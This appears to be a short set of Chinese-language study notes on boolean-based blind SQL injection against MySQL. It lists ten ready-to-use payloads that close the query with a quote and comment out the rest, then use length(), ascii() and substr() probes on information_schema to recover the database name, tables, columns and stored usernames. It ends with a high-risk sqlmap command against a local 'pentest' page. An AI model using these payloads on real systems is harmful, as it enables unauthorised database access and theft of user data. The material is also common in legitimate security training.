加 ‘ 将原本的sql语句闭合之后,再把后面的 ’ 用–+ 、–空格 、 #注释掉,在中间输入我们将要执行的语句
1.确定数据库长度:
’ and length(database()) >0# // 0一直换着试直到报错,然后换成=,报错的那个数字就是数据库长度
2.确定数据库名称:
’ and ascii(substr(database(),1,1))>100# // (1,1)第一个1换着成2就是查询数据库第二个字段(直到数据库长度的数字为止),100换着试直到报错,然后去对照ascii表看对应的字母是什么,组成数据库名字
3.确定表的数量:
’and (select count(table_name) from information_schema.tables where table_schema=’数据库名字’) >0# //0可以换着试,同理
4.确定表的长度:
’and length((select table_name from information_schema.tables where table_schema=’ 数据库名字’ limit 0,1))>0# //limit 0,1 查询第一个表的,>0换着试,同理
5.确定表名:
’ and (ascii(substr((select table_name from information_schema.tables where table_schema=‘数据库名’ limit 0,1),1,1)))>100# //查询第一个表的第一个字段的ascii码,接下来同理获取到完整的表名
6.确定表中字段的数量:
’and (select count(column_name) from information_schema.columns where table_schema=’数据库名’ and table_name =’表名’)>0# //确定此表中一共多少个字段
7.确定字段的长度:
’ and length((select column_name from information_schema.columns where table_schema=‘数据库名’ and table_name = ‘表名’ limit 0,1)) >6# //获取第一个表的长度,>6换着试直到报错,确定长度
8.确定字段名:
’and ascii(substr((select column_name from information_schema.columns where table_schema=’数据库名字’ and table_name =’表名’ limit 0,1),1,1)) > 79# // 查询第一个表的第一个字段的ascii码,然后同理获取完整字段名
9.确定字段数据的长度:
'and length((select username from member limit 0,1))>5 --+
10.确定字段中的数据:
’ and ascii(substr((select username from 表名 limit 0,1),1,1))>79# //查询第一个username的第一个字段的asc ii码,然后同理获取完整的数据
sqlmap
sqlmap.py -u “http://localhost/pentest/article.php?id=1” --batch --dbms=mysql --technique B --level=3 --risk=3